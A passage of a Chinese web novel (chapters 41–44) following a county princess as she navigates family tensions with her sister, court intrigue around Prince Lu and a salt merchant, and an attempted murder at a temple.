这是什么人,严氏并没有具体介绍,可看严氏的态度,这人不是一般上门攀交情的那种。
她转身低声吩咐柳芽:“去打听下这个毛夫人是什么人?”
***
潞王府
潞王爱博弈,书房中摆了一张棋盘,他有时间会下上一两目,下人们从不敢妄动。
“人是不是也该到了?”潞王盯着棋局,手中捻着白子。
旁边的下属答道:“快了,如今这时节赶上顺风,还有三五日怕是就到了。”
潞王满意,轻轻把白子摆上桌。
“就看它的表现了。”
这日刚用过早膳,窦绍问她何时出发去接人
“接人?”卫姜疑惑。
窦绍提醒她:“小妹不是明日就该到了?你不去接一下?”
卫姜记起来了,之前宋氏提过一句,可从那之后就没说了,她都快忘记卫莞要回来了。
以前两人不对付,宋氏怕她不愿意去,所以才不敢来问她去不去吧。
原主是个极品,这个卫莞也是个奇葩,两人卧龙凤雏,难分伯仲。
卫姜都有点同情襄阳郡主了,这怀孕的时候吃了什么,养出这么两个极端的女儿。
“这茶……”窦绍疑惑看向手中的茶杯。
“龙井茶,你喝不惯?”
葛月送来的龙井茶,不过现在好像还不太出名,至少长佩她们都不认识。
窦绍摇头,又喝了一口:“挺好喝的,之前我喝过。”
之前在江南的时候,他喝过一次,当时他就觉得这茶香气很特别,口感比一般茶要好。
他本想买一点带回来的,但听说是本地一个盐商家自己种的,别的地方都没有,他便歇了心思。
“你这茶哪里得的?”窦绍好奇问她。
“苏二小姐送的,怎么了?”
窦绍有些意外,但又觉得好像在情理中,笑着道:“有机会多要点,挺好喝的。”
他亲自提壶冲茶,听说第二泡口感更鲜爽。
笑的那奸诈样子可不像只是茶好喝,怕是发现了什么不肯说吧。
卫姜端起手中的茶杯,看着清凉透底的茶汤,龙井和葛月会有什么关系吗?
41. 第 41 章
“怎么还没到?”
襄阳郡主坐不住了,早早的就来人说是船已经到了,这才多远的路都两个时辰了还没见到人呢?
“娘,您别急,妹夫以后也要留京任职了,妹妹他们是举家回京,想必箱笼不少,路上耽搁一会也是有的。”
襄阳郡主楠楠抱怨道:“难道还要她亲自去扛箱笼不成,留两个老成的人盯着就是,她难道不知道我们一家子在等着?这个小没良心的……”
她留意到大女儿端着杯茶静静喝着,一声不响,心里打了鼓,两个女儿一直不对付,她今天又早早地把大女儿请了,等了这么久,怕是她憋了一肚子的火,自己要是再抱怨,岂不是火上添油。
立马转了语气:“也是,一路舟车劳顿的,慢点就慢点,说不定是什么事情耽搁,我都快六年没见过她了,每次信里万事都说好,也不知道是不是真的。”
三年前卫莞因身体不适没有随丈夫回京述职,襄阳郡主也就没有机会见女儿一面,想到这她难受地擦拭眼泪。
小女儿常年不在身边,想到她在外面受苦,襄阳郡主就难免心疼几分,她交待大女儿:“你妹妹在外吃了不少苦,等下你可别闹脾气。”
又不是我让她吃苦的,卫姜看向母亲,嘴巴都张开了,可看她红着眼睛,里面带着丝恳求,下意识点头。
她是什么爱吵架的人吗?何况她和卫莞也没什么好吵的,差点带入原主了。
“郡主,人到了,快进二门了。”小丫头掀开帘子一脸喜色。
宋氏也起身,准备去迎一迎,卫姜想了想,也跟着一起去了。
一行人刚转过月亮门,就看到前方走来一大群人,大的小的差不多十来个,别说卫姜讶异,就连宋氏都怔了一会。
宋氏长子和长媳陪在卫莞和他丈夫身边,卫莞看到大嫂,神色有些激动,快步走了过来:“嫂嫂。”
“快起来,你怎么……回来就好”宋氏挽起卫莞,眼睛热热的,“快走,娘在等你。”
卫莞余光扫到卫姜,神色有些不自然,匆匆地打了个招呼。
卫姜数了数,连襁褓中的庶子庶女快有十来个了,卫莞可真是个奇人,她一回来恐怕严夫人的第一贤惠人该让人了。
她到底是怎么忍的,瞧不上姐姐过的日子,她就选择另一个极端?
襄阳郡主从见到小女儿的第一面,这眼泪就没断过,就连女婿给她行大礼,她都没给好脸色。
等女婿被请去了前院,那些庶子庶女们也被打发走了,襄阳郡主一把拉过女儿,心疼地把她拉在怀里。
“我的儿,你这是过的什么日子?”
卫莞心里很难受,却嘴硬道:“娘,我挺好的,谁家日子不是这么过的。”
“好,你哪里好了,你才三十不到的年纪,却熬成了这个样子。”看着都比同龄人要憔悴很多。
宋氏扫了一旁卫姜,这个做姐姐的可都比妹妹看着年轻多了,卫姜可是大了卫莞整整五岁。
“这丁家就这么没有规矩,那一屋子的妾室,一连串的庶子庶女,你也就这么忍了?我的儿,你也贤惠的过头了。”
襄阳郡主觉得女儿性子也太软了些,自然不想让她跟大女儿一样,可也不能这么贤惠过头了。
自己才生了一个女儿,就让妾室生了这么一大串,这是什么事。
这些年卫莞什么都不跟家里说,要不是如今要回京,只怕她还要瞒着。
“娘,都是我同意的,您别担心,我有数,她们成不了什么气候。”
宋氏也叹气,她知道卫莞性子要强,当初卫姜做的事让大家对卫家指指点点,她就一心要证明自己和姐姐不一样。
卫姜跋扈骄横,她就温柔体贴,觉得姐姐轻浮注重皮相,她就听从父母之命,特意选了长相普通的。
谁知这皮相好的,被卫姜管的死死的,这长得不怎么样的,小妾通房一大堆。
这到底是图的什么,这名声好能当饭吃吗?
宋氏也是大家妇,哪里不知道卫莞这日子过的是如何的苦,她要是真不在意,如何把自己熬成了那样。
“你这肚子怎么就没个动静?”
襄阳郡主就觉得女儿定然是因为子嗣的事情,这才这么放任。
“你也是县主,怎么不跟你姐姐学学,你姐夫……”注意到小女儿脸上不对,她及时停住了话头。
卫莞满脸不屑:“跟她学什么,仗着县主的爵位就作威作福,辖制自己的丈夫,把婆家闹得天翻地覆,善妒狠辣,连累的娘家人名声受损,不是因为她我会变成这样?我听说侄女到如今都还没许亲呢?不就是别人怕我们卫家出来的姑娘都是她一个德性吗?“
卫姜不乐意:“哎,说你扯我干什么,我还坐这里呢。”
你要当贤惠人自己当就是,把她拉出来鞭尸是怎么回事?
宋氏怕两姐妹杠上,扯了一下小姑子,打圆场道:“大妹妹改了很多了,不是当初了。”
宋氏都有点笑不下去了,这姐妹都不是省油的灯。
卫姜也郁闷啊,她一句话都没说呢,就被一阵炮轰,很无辜好吧。
卫莞偏过头,母亲说什么同样是县主,可她这个县主能和卫姜一样吗?
卫姜自小就在外祖母膝下长大,宫里的那些人都疼她,还破例封了她县主位。
自己呢?一直都生活在姐姐的影响下,她出嫁了,自己也摆脱不了阴影。
就连自己这个县主位,也不过是褫夺了她的封号,宫里补偿给卫家的。
卫莞总觉得这个县主就像个笑话一样,是卫姜不要的东西,别人施舍给她的。
你看,如今她不是轻而易举地又拿回了县主位。
场面陷入尴尬,襄阳郡主头都疼了。
“娘。“门口传来怯生生地声音。
卫莞神色一下子变得柔和,忙招手让女儿进来,摸了摸她的额头,没有出汗。
“怎么不跟表姐她们去玩?”
兰姐儿赖在母亲怀里,有些腼腆地看着大家,声音很小声:“我想陪着娘。”
宋氏招手让她过来,兰姐儿先看向母亲,见她点头,这才走了过去。
宋氏:“是不是你二姐姐闹你了?”她知道自家女儿不是个省心的,就怕她欺负人。
兰姐儿摇头,“二姐姐很好,是我自己想回来的。”说完又怯生生地看向舅母,好像害怕舅母会怪罪。
宋氏在怀里揉了揉,“我们兰姐儿怎么这么怪,怪让人心疼的。”
兰姐儿偷看卫姜被抓了个正着,她红着脸有些不敢抬头。
卫姜笑着问她:“兰姐儿还认得我吗?”
刚刚一群人认亲,怕是谁是谁都还没分清吧。
兰姐儿咬唇,点头,“你是姨母。”
这么漂亮的姨母,她一眼就记得了,而且母亲和姨母长得很像。
她从来没见过娘亲打扮的这么鲜亮,所以不由地多看了几眼。
“姨母家里还有个小妹妹,下次接你去姨母家玩好不好?”
兰姐儿对孩子并没有兴趣,家里有很多弟弟妹妹,她不是那么想跟他们玩,但娘说姨母家的表妹和家里的弟弟妹妹不一样,为什么不一样却没说。
她点头道:“我知道小妹妹,我和娘一起去。”她看向卫莞
在场的人都看向卫莞,可能在意外她还会和女儿说起卫姜,以两人之间的剑拔弩张,应该恨不得断绝关系
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才对
“再说吧。”
一家子终于团聚,襄阳郡主想留小女儿一家住在家里,奈何卫莞不同意,说是已经在京里置办好宅院。
家里人都先过去安置,她留在卫家陪老母亲住几日。
想想以后女儿都在京里,见面的机会多,襄阳郡主也就同意了。
窦绍临时有事忙,比预计的来的晚一些,丁恭顺一口一个姐夫,倒是亲热的很。
晚上回到家,卫姜就瘫软在榻上,觉得太累了,窦绍给她捏手臂。
“有这么累吗?”
卫姜点头:“累,笑的我都脸疼。”丁家那么一大家子,小孩子又多,她又占着姨母的名分,见面礼给了就算了,还得慈爱地陪笑。
“你说她图什么?”就图个贤惠的名声?
卫姜实在是找不到人吐槽了,见他愣了一下,又嫌弃转个身,也是问他白问,他说不定也想要个贤惠的妻子呢。
窦绍手下一空,这又是怎么了?
他还是都没说呢?
“小妹有没有说起妹夫怎么调回京的?”
卫姜转过头,她知道窦绍从不会无的放矢,“难道有什么不妥?”
窦绍笑:“就是有些疑惑。”
丁恭良在地方多年,没有突出的政绩要调回京怕是没那么容易,他问过大舅哥了,卫家没有插手,所以他有些奇怪,怎么就忽然调回兵部了。
丁恭良这人太过圆滑,窦绍试探过几次,都被他绕开了,可见其中确实有文章。
卫姜摇头,今日女眷只顾着叙旧,倒是没有聊过这个话题,窦绍既然有疑惑,怕是丁家回京有什么猫腻。
“我找个时间问问她吧。”反正明日还要见的。
窦绍:“不如算了。”
他也知道两姐妹感情糟糕的很,他不想卫姜低头求人。
卫姜见他一脸正色,促狭一笑:“你是不是傻,一定要我直接问吗?”
次日,卫姜只是在襄阳郡主耳边提了一句,由老母亲出面以关心名义询问,但卫莞知道的也不多。
“好像是他吏部的同年举荐的,其他的我也就不清楚了。”
卫姜还问了一下这同年的姓名,晚上便告诉了窦绍。
窦绍:“这人是潞王的人。”吏部尚书到了致仕的年纪,这一两年基本上吏部的事情都握在左右侍郎手里。
难道是潞王不死心,拐着弯的继续拉拢卫家和他。
窦绍摇头,不对,京城人都知道卫家姐妹不和,潞王不可能不知道。
他有点猜不透潞王的用意,他为什么要把丁恭良安排进兵部,不知情的人看来,到好像是卫家的安排。
他想起一事,问卫姜:“你在派人调查苏二小姐?”
他怎么知道?卫姜瞪大眼睛。
他怎么知道,自然是他派去暗查的人发现了卫姜的人。
卫姜能有什么人手,只能派身边的人去,太容易暴露身份了。
“不然我给你几个人吧。”这种事情就少用身边脸熟的人。
卫姜有些尴尬,“我就是觉得她有些奇怪。”
她抓头看向他:“所以,你也在查咯?”
好奇追问道:“查到什么没有?”
窦绍笑道:“你的人不是跟到那座别院吗?别院主人姓柳,是杭州大盐商。”
卫姜立马想到了盐税案,她惊讶地站起来,但很快有不解,既然是潞王的人,那为什么他每次都要带着葛月过去,就不怕被发现什么?
窦绍:“我派人去江南查了,这柳大盐商有些奇怪。”
他从好多年前就在京中经营了,甚至还往严家和苏家都安插了人,这可不是生意人的做派。
42. 第 42 章
“你今日怎么有空过来了?”宋氏迎了过来。
太子妃预估着差不多到产期了,这些日子卫姜都在往宫里跑,宋氏有些意外她怎么过来了。
“我这不是听到好消息,特地来恭贺你。”
宋氏脸上的喜色掩都掩不住,今日卫姜在东宫碰到了黄院判,恰好听到他说苏青有喜的事情。
宋氏又叹了口气,卫姜疑惑:“怎么瞧你好像还有什么遗憾?”
宋氏:“这孩子也是来的太巧了,如今老二媳妇有了身孕也不好跟去辽东了,刚成婚的小两口就要分开,我这不是担心嘛。”
卫姜:“这有什么,等孩子大一点在过去好了。”
宋氏一言难尽地看了一眼她,也是,跟她说什么,当初妹夫去外地她不也不肯跟去。
她找错人了,这话跟她说就多余。
“贺哥儿什么时候走?”
宋氏之前还不乐意儿子去辽东个,怎么今日看来倒是变了态度。
“原本预备着他们夫妻俩月底就出发的,老二媳妇如今有好消息,就等过完中秋再走,再晚也不行,再晚路上就受罪了,辽东那边比京城冷多了。”
卫姜点头:“辽东离京都也不远,不用太担心。”
宋氏点头。
苏青房里聚了一堆人,有很多就跟卫姜一样是听到消息赶来凑热闹的。
其中一个圆脸夫人引起了她的主意,见卫姜留意到她,她笑着出列,“见过新宜县主,妾身毛氏。“
宋氏在旁低声解释:“辽东李参将的夫人,说是老二媳妇的一个远方舅母。”
辽东,这么巧,难怪苏国公提议让卫贺去辽东,原来早有安排。
“原来是亲家,夫人这次来京可要多待一段日子,让我们也好尽尽地主之谊。“
毛氏笑容大方,话也说的直爽,“那就叨扰县主了,本来我是打算和他们一起启程的,不过青儿刚有了身孕,她舅舅不放心,想着我反正来京索性多待一段日子。”
“这可真好,不知夫人如今住在哪里?我看不如搬过来好了。”
毛氏大概是没想到名声在外的新宜县主竟然是这个脾气,神情有些意外,“不用不用,我们……李家在京里倒是也有个小宅子,离这里不远,我有空就过来看看。”
严氏在一旁看着卫姜和毛氏应酬,心里闪过不屑,怕不是知道毛氏的身份了,县主都屈尊降贵地和人陪笑脸了。
自从弄出纳妾事情后,卫姜对严氏没个好脸,见到她直接无视了,毛氏暗暗地记在心里。
苏青对这个忽然出现的舅母有些发怵,盖因之前大街上认亲的事情给她留下了阴影,不过这次这个舅母是祖母和母亲亲自带过来的。
说是她生母那边的亲戚,苏青是带着警惕与忐忑心情和她来往的,相处后她也感觉得到毛夫人是真的关心她。
关心她自小在苏家的生活情况,关心她嫁卫家有没有受委屈,关心她和丈夫的相处,如今她有了身孕,毛夫人更是像一个母亲一般谆谆教诲,为此她还推迟了归家的行程。
苏青是很感动的,万分珍惜这份只属于自己的亲情温暖。
舅母说她的眉眼和母亲很像,特别是眉毛,苏青小心翼翼又格外郑重地摸着眉骨,去想象着母亲的样子。
她的母亲会是个什么样的人,她爱自己吗?
要是他们还在世会不会把自己接回家呢?
她有太多想问的,可毛夫人好像有顾忌,不想深谈的样子,只说她的生父生母很恩爱。
在毛氏的回忆里,她的父亲博学多才,母亲飒爽英姿,世上最般配的一对,可惜老天嫉妒了又带走了他们。
苏青能感觉到舅母说的是真话,她每次看自己时都看着怀念,好像在透过自己寻找她认识的那两人的影子。
苏青听着外间的动静,毛氏爽朗的声音很容易分辨的出来,她摸了摸肚子。
舅母说她很少出辽东,那父母是在辽东认识的吗?
苏青没有去细想为何一个奴仆之子会出现在千里之外的辽东,苏家是不是有什么瞒着她。
……
葛月一身疲惫地回到府中,正院的人说夫人去了卫府,说是苏青有了身孕,她和毛夫人过去探望了。
葛月已经从柳芽那里知道了毛夫人的身份。
辽东参将李崇义的夫人,自辽东总兵战死后,这个李崇义如今可以算得上是辽东的实际掌权人。
葛月也试图拉拢毛夫人,可她好像是奔着苏青来的,葛月知道后也就歇了心思。
“说了什么时候回吗?”
侍女看二小姐脸色不好,低下头,“夫人说午后回。”
午后早就过了,葛月其实也不是真的要找她,点点头转身走了。
那侍女一脸唏嘘,她们做下人也不清楚夫人是什么想法,所有心思都放在了养女身上,亲生女儿大婚近在眼前,夫人却半点没放在心上。
葛月脸上没有半点快要做新娘子的喜色,但她也确实盼着早点成亲,她的眼神触到桌子上的锦盒。
随手打开,里面是一对鸾凤和鸣寓意的玉佩,这是信王送给她和潞王的新婚贺礼。
葛月脸上闪过自嘲,有一瞬的冲动想要把这两块玉佩砸掉,可理智让她忍住了。
信王把贺礼送到潞王府,潞王却送到了她这里,试探之意太明显。
她和潞王怕是这世上最另类的夫妻了,虽不相爱却不敢背叛对方,两人互相捏着对方的把柄,这样的关系才是最紧密最牢固的吧。
信王,她曾经在他身上花费了那么多心思,为他做了那么多,可没想到他竟然那么蠢,蠢到落入潞王的沟里。
她注定和信王不是一路人,如此也好!
潞王知道自己是什么样的人,她也知道对方是什么德性,这样也挺好的,不用隐瞒,不用装模作样。
八月初九,太子妃诞下皇孙,皇上圣心大悦,太子乘机为信王求情。
皇上看在刚出生孙儿的份上,勉强同意了免除圈禁能出王府,其他的惩罚不改。
不过几月不见,信王跟变了个人一样,再没有之前的意气风发,整个人都低沉了。
卫姜有次在东宫撞见了他,差点没认出来,他消瘦了很多,低着头跟在太子身后,像一道影子。
太子妃说到他也是惋惜的语气:“三弟他…哎,父皇虽然把他放出来了,可他平日里还是把自己关在府里,太子看不过去,就把他拽在身边。”
卫姜:“太子仁善。”
太子妃如今是有子万事足,两人说着说着又聊起了儿女经。
太子妃求知欲空前旺盛,生怕自己没经验,养不好皇
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孙,她觉得卫姜生育了两个,儿子养的那么好定然是有些经验的,殊不知两人半斤八两,卫姜理论高于实操啊!
卫姜应付的颇有些疲惫不堪。
等她从东宫出来时天色已是黄昏,在宫墙处碰上从贵妃宫里出来的潞王。
“表姐从东宫过来的?”
卫姜:“正是,殿下这是出宫吗?”
潞王脸上带着温和的笑,迁就卫姜缓下脚步,点了点头:“景哥儿在宜春可办了不少实事,父皇都夸他呢,表姐好福气。”
卫姜带着些不好意思:“他才去了几天能做出些什么,不过是那些人见他是窦绍的儿子,故意捧着罢了,我就怕他招人眼,被人设套都不知道。”
潞王脸上笑意僵一下,他看向卫姜,想要找出点什么。
总觉得她这话是在点他,潞王还真想过这个主意。
不过目前他手还伸不了这么远,窦绍把他儿子保护的很好。
“听说卫贺去了辽东李参军那里,卫国公怎么舍得把儿子丢去辽东,我看五城兵马司,羽林卫金吾卫也有不少好缺,卫国公怎么舍得把儿子送那么远。”
卫姜余光瞥了他一眼,这是把她真当成愚昧无知的浅薄妇人了。
见他目光幽深,卫姜忽然意识到他是不是在试探什么。
她眼神一转,故作姿态:“我大哥大嫂也不想儿子这么辛苦,不过这好像是苏国公的意思,贺哥儿是他女婿,大嫂他们也不好说什么。”
“辽东其实也极好,卫贺立下战功,说不定还能封侯拜公。”
总不能说苏国公不怀好意吧。
苏国公也是他岳父,按礼论他跟卫贺还是连襟呢。
连着两次碰软钉子,接下来的路程潞王终于闭嘴了,眼看宫门就在前面,潞王客气道:
“我大婚的时候表姐可要记得来观礼。”
卫姜笑道:“自然,我得来喝喜酒啊。”
潞王心里有些憋的慌,他在窦绍那里吃了不少亏,双方暗地里也算是撕破脸了,这位县主是单纯还是城府深呢,能笑的这么灿烂。
等在宫门口的窦绍见到两人忙在往这边赶来。
潞王远远超他颔首,转头上了自己马车。
“他跟你说了什么?”
卫姜扶着他的手上了马车:“能跟我说什么,客套两句呗,你怎么过来了?”
窦绍漆黑的眼睛盯着她看了一会,“去杭州的人回来了。”
卫姜来了兴趣:“查到什么?”
窦绍没回话,沉默看着他。
真是一头犟驴!
“他就问了问窦景还有卫贺,但我看他最感兴趣的还是贺哥儿。”
卫姜忽然意识到什么,抬头问道:“他对辽东有心思?”
辽东距离京城可不远,急行军一个日夜可达,且辽东是九边兵力最强的军镇。
潞王要是真把眼睛盯上了辽东,他要干什么!
他也不一定会做什么,但打辽东主意是一定的,只是他会怎么做呢。
“提醒下贺哥儿,让他自己留意。”不要被利用了,也不知道苏国公把他安排去辽东,有没有这个意思。
毕竟潞王才是他真女婿!
窦绍说起去杭州查到的事。
“这位柳老板的独子十八年前死在京城。”
43. 第 43 章
八月二十八日,潞王和葛月大婚,也预示着剧情正是偏离轨道。
葛月嫁妆中有一台放的是珊瑚宝树,惊艳四座,这么好品相的珊瑚树恐怕内宫都难找,后来才知道,这是潞王送来的做陪嫁的。
京中女子无不羡慕葛月,潞王是真看重这个妻子。
卫姜也是开了眼,这种稀世奇珍,在现代她只能去展览馆看,今天还差点就摸上了。
“看不出来潞王还挺有钱的。”这珊瑚树怕是要花不少钱吧。
窦绍看她,嘴角带着笑:“有钱可不行,我记得多年前曾有海外藩国进贡过一对珊瑚树,其中一棵被先皇论功行赏给了辽东李家,后来李家凋敝了,这珊瑚树也流落去了民间,十几年前听说被江南豪富私下买了。”
如今想来,这珊瑚宝树应该是被柳家得了,如今通过潞王的手又陪嫁给了葛月。
“柳家也挺……”可怜的,卫姜却没有说出口,站在谁的立场看都可怜。
柳家和苏家的事情还真不好评,何况其中牵连的又何止柳公子一条性命。
卫姜叹气。
“所以潞王是真的喜欢她吧。”知道她的身世却没有瞧不起。
窦绍被她的话逗笑了,有时候她很聪慧,还有时候又表现的太单纯。
“喜不喜欢不知道,但他娶这个苏二小姐好处却是多过坏处。”
明面上,跟保国公府联姻,他成了苏家的女婿,和苏家绑到一起,苏家既然当初认下这个女儿,自然就不会反口,只要有这个名分,苏家就不可能彻底倒向别人。
暗中他又得到了柳家这个钱袋子,只要葛月是他的王妃,柳家的钱财还不是任他取用。
这不比跟柳家合作把私盐当作官盐卖来钱更快,而且还无需担风险。
当然还有第三重好处,严家和宫里的皇后投鼠忌器,关键时刻说不定能帮上他一把。
不管是真喜欢还是权衡利益,潞王可以说得上是个聪明人。
卫姜看向他,要说聪明,眼前的这个人也不遑多让,他仅仅只是从一些子言片语中就猜出了当年发生什么事,如今又把潞王的盘算扒的清清楚楚。
“你不是说自己是皇上安排给太子的人,那眼前这个情况你不跟太子和皇上说说。”敌人可是粮弹充足蓄势待发了。
潞王如今有人有钱,一看就是要朝东宫发动攻击的。
窦绍摇头:“这时不用我说只怕朝中早就有人得知蹊跷了,当今皇帝可不是庸聩之君,只怕心里明白着呢。”
从他处理信王的手段就可以看出,皇帝怕是心里有谱了。
宝剑锋从磨砺出,潞王就是最好的磨刀石。
重阳节,太子妃遍邀京中贵眷去登高赏景,众人爬到一般就没了体力,便去了白云寺赏菊花。
“没想到白云寺竟然有这么多好菊花,以前竟然都不知道,大师你们藏的也太好了些,怎么?怕我们来看糟践了它们不成?“一个口齿伶俐的妇人故意打趣。
太子妃也是第一次见这么多品种的菊花,这怕是要花些功夫才能整治的出。
人群中又懂花的人惊呼:“竟然连龙脑菊,天啊,那……那是御袍黄吧,是的吧?“
她可能只是听说过,口气有些不敢确定。
有人看向严氏:“您可是最懂菊花的,那是叫什么御袍黄吗?“
她指着角落里几盆金色重瓣菊,花瓣边缘泛赭红,看着就明艳夺目。
早在她们到达菊园时,严氏的神色就有些不对,她看向那御袍黄,眼神里带着惊慌,不住地四处打量,压根没听到旁边的人在说什么。
知道旁边的妇人又推了推她,说道:“你这是看迷眼了,好歹也跟我们说说。”
严氏看花草京中无人不知,花草中她又犹爱菊,所以对于菊花的品种问她是最清楚不过的了。
严氏又看了一眼御袍黄,眼神好像被刺痛了一般躲闪开,点头道:“正是御袍黄,不想西山寺竟然种的有,这御袍黄可极其难养,不知道是哪位大师的手艺。”
主持大师摇头道:“施主猜错了,却不是我寺里的人养的,这是一位香客租了园子,说是养花,曾经有小沙弥好奇,问他养这么多菊花作何,他说他为了故人,想必是为极爱菊花的故人吧。”主持微微叹气,又合十对太子妃请罪:“这菊花实不是寺中私产,小寺也不敢贸然邀请各位贵人来赏花。”
太子妃道:“大师不必放在心上,她们也是玩笑罢了,既然是别人的花圃,我们也不好打搅。”说着就要带众人离开。
女人有几个不爱花的,特别是这菊花真是稀中珍品,平日里连一个品种都难得一见,今日竟然在一个园子里见了大半,心里自然不愿离去,那眼神依依不舍。
主持大师上前一步:“太子妃请留步,今日却无妨,那主人留了话,说是今日寺中香客皆可来赏玩,想必他等的那位故人等到了。”
听到可以留下继续赏花,众人高兴不已,三三两两组队去发现宝藏,卫姜站在几株龙脑菊旁。低头清嗅,香味扑鼻而来,清冽冷香。
“这花做香囊特别好。”
小姑娘话说完小脸腾地就红了,神情有些忐忑不安,好像懊悔自己的多嘴。
“你会做香?”卫姜看出她有些局促的要哭了,出声搭话。
那小姑娘好像很意外卫姜会和她说,带着些激动道:“小女喜欢制香,时常自己做些,不敢说很好,但姐妹们也喜欢。”
卫姜开玩笑道:“可惜这菊花不能带走,不然我倒是想见识下你的手艺,这香我也挺喜欢的。”
那小姑娘闻言有些踌躇,可能没想到卫姜对她竟然这么温和,她咬唇再三犹豫后道:“县主不嫌弃的话,小女可能帮你制一些。”
她指着龙脑菊道:“我家里也有两株,我可以试试。”
卫姜自然接受道了小姑娘的示好,明明一开始害怕的不行,不过是三言两语,这小姑娘竟然就帮着制香囊了。
太软太善良了。
“还不知道你的名字呢?”
卫姜笑着看她,眼神柔和似水,那小姑娘头晕乎乎地,觉得县主长得真好,打扮也好看,她悄悄摸了下自己的圆脸,她也想学。
见县主眼神带着惊喜,小姑娘心中更是坚定主意,要给县主做一个香囊,也许县主很喜欢,会夸她做的好,那爹娘以后就不会骂她只为做这些小玩意,她能少做些针线活就更好了。
当然她刻意忘掉了家里两株龙脑菊是父亲的心头好。
“我的闺命叫英娘。”英娘低着头不好意思
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宋氏从旁过来,笑着对卫姜介绍道:“她爹是户部侍郎潘仁美。”
户部侍郎那不就是窦绍的属下,难怪这小姑娘一直跟着她,原来是在找熟人啊。
潘英娘小狗般湿漉漉地眼睛,带着羞涩与好奇还有某种说不出的崇拜与天然亲近,就这么看着卫姜
既然是熟人,那自然就不用那么客套了:“那我就等着了。”
潘英娘眼睛都亮了,重重的点头,她真想立马回去把他爹的爱菊祸祸了。
“咦,那是什么?上面好像有花纹。”有人指着中间的几盆菊惊呼道。
阳光穿透树荫,斜斜地打在花朵上,光线交织,远远看去如云彩织就而成,偶尔一个角度看去竟有绚丽流彩划过。
“好像是凤凰展翅。”
一人脱口惊呼,众人惊奇不已,纷纷往她的身边挤,也想要看看那祥瑞。
那妇人忙把自己位置让给了太子妃,又细细指导她该怎么看,太子妃看了半天,终于也看到了:“还真的是。”
她转身问旁边的人:“这是什么品种,我竟是第一次见。”
卫姜本也要去凑热闹,但经过严氏身边的时候鬼使神差地停下了脚步,大概因为严氏脸色太差了,就跟见鬼一般。
大家都看向严氏,等着她的答案,所有人都觉得她定然是知道的。
她嘴唇翕动了几下,这才费力地吐出几个字:“紫霞冠。”
卫姜离得近,能感觉到她的颤抖,她这是怎么了?还想在害怕什么,一株菊花而已,她害怕什么呢?
是啊,严氏当然不是再害怕菊花,她害怕的是培育紫霞冠背后的人。
她只跟一个人提过,她最喜欢紫霞冠,只因为在书上看到过,有一种紫霞冠,阳光照过花瓣的时候,会有凤凰展翅的图案。
她的堂姐命好做了皇后,她心里一直是隐隐不甘,同是严家女儿,凭什么她不能是凤凰。
可那个人已经死了,不应该再有人知道这个秘密。
因为她喜欢紫霞冠,所以他说他最喜欢御袍黄!
是谁?到底是人是鬼?
严氏往后退了几步,背紧紧靠在假山上,手往后缩,好像这些菊花是什么肮脏的东西。
众人都在小憩,卫姜睡不着,干脆出门四处走走,漫无目的随性而走竟然来到了后山半山腰。
正准备返回时,忽然听到不远处好像有动静。
她和长佩对视一眼,长佩摇头,示意她不要过去。
午后清静,四处都没有人走动,万一是什么歹人,可怎么办?
卫姜被她拉着快步往回走,就在这是,一声尖利的女声传来。
女声,白云寺今日可全是女眷。
卫姜挣脱手,快步朝上敢去,长佩急的不行,她们出来走走,也就两个侍女跟着,这可怎么办,要真是恶人行凶,她们三个都不够他们塞牙缝的。
见县主提起裙子在往上跑了,长佩咬牙一跺脚,吩咐田彩立即下山,她跑着去追卫姜。
眼看就要追上了,不像卫姜竟然停了下来。
听声音应该不远了,前面好像有两波人的动静,那女子还在尖叫,也许有人再搭救。
卫姜用力咳了一声,“何人在喧哗?”
44. 第 44 章
这跋扈骄横的嗓音,一听就不好惹的主。
前面的动静顿了一下,其中一伙人明显愣了一下,另一伙人趁着这个机会把人从崖边拽了回来。
卫姜看了长佩一眼,长佩立马就懂了她的意思,大声嚷嚷道:“什么人在前面,吵到我们县主了,不要命了吗?县主,我看不如让人来把他们收拾了,白云寺怎么回事,不是说上面没人吗?”
她咋咋唬唬的,把一个仗势的狗奴才演活了,过了好一会,前方都没了动静。
卫姜犹豫再三,还是硬着头皮往前走,万一呢……救人要紧。
何况,她往山腰处看了一下,田彩已经带着大批人往上赶了,她心又定了几分,她转过前面大石头,路豁然开朗,不想这里竟然有一处天然断崖,四面平整。
这里空荡荡的,已经没有其他人了,只有一个女人被吓的不住往后爬。
长佩比卫姜更快,她扶起那女人,惊呼道:“县主,是严夫人。”
严氏脸色惨白无血色,整个人好像精神崩溃了,不住地颤抖,长佩想扶起她,奈何她好像全身都没有力气。
眼神很是惊恐闪躲,不住地喃喃道:“不要,不要杀我。”
这到底怎么了?
白云寺出现刺客一事不胫而走,严氏被吓疯的话陆续被传了出去,暗地里还有人传是新宜县主下得手,当时可就她们两人在。
这下卫姜那可怖的流言里又多了一条心狠手辣,这都是后话了。
窦绍拉着她的手,仔细查看她全身上下,那脸阴沉的要滴水。
“我没事,我有分寸的。”卫姜知道他此刻不好惹,但犹豫再三还是开口
窦绍冷笑一声,嘲讽道:“那是,县主多有本事,两三句话就能吓退歹徒,下次哪里出了匪患我看让皇上派你去好了,都不用费一兵一卒。”
卫姜被训的像个孩子,但还是觉得有必要为自己分辨一下:“当时我也没想那么多,毕竟救人如救火,何况我知道长佩派人去叫人了,我也看到救兵陆续上山了。”
窦绍更来气:“既然看到有人来了,那你又为何还要冒险,万一那些歹人埋伏在那,你觉得自己发个脾气耍个横就能坚持到救兵来,你既知道是歹人,为何不想想自己的安全,就你这身板,他们提脚就能把你扔下山崖,你连叫救命的机会都没有。”
卫姜想想了下那画面,觉得还是有点难度吧,自己还是有百来斤的。
但觑着窦绍的脸色,不敢犟嘴,“我知道错了。”
窦绍看她那不服气的眼神,便知道她知错但下次依然干。
他气的咬紧后槽牙。
***
啪!
清脆的声音,顶级白瓷茶盏摔的粉粹,碎渣溅落到周围,柳老板灵活地移动自己的胖身子。
“何必这么大火,不是没死吗?”他笑嘻嘻道。
潞王铁青着脸,“要是我的人没有及时出现,她早就被你扔下山崖了,你知不知道自己在干什么!”
柳老板脸上一副可惜的表情,“知道,可惜了,我准备了很久呢。”
潞王觉得这就是个疯子,整个人都不可理喻,幸好他提前准备了一手,不然真的要被他害死:“你要报仇我理解,但现在她还不能死,你要是坏了我的事,那就别怪我不讲情分。”
严氏要是死了,那他所筹谋的一切岂不是白费了,他不允许有人来破坏自己的棋局,潞王盯着他的眼神很冷。
好像柳老板反对,下一刻也许就是死人了。
柳老板觑着潞王的脸色,脸上带着讪笑:“放心,我知道分寸,就是吓吓她,我还要看着孙女登上那个位置,让我柳家成为京中第一大家。”
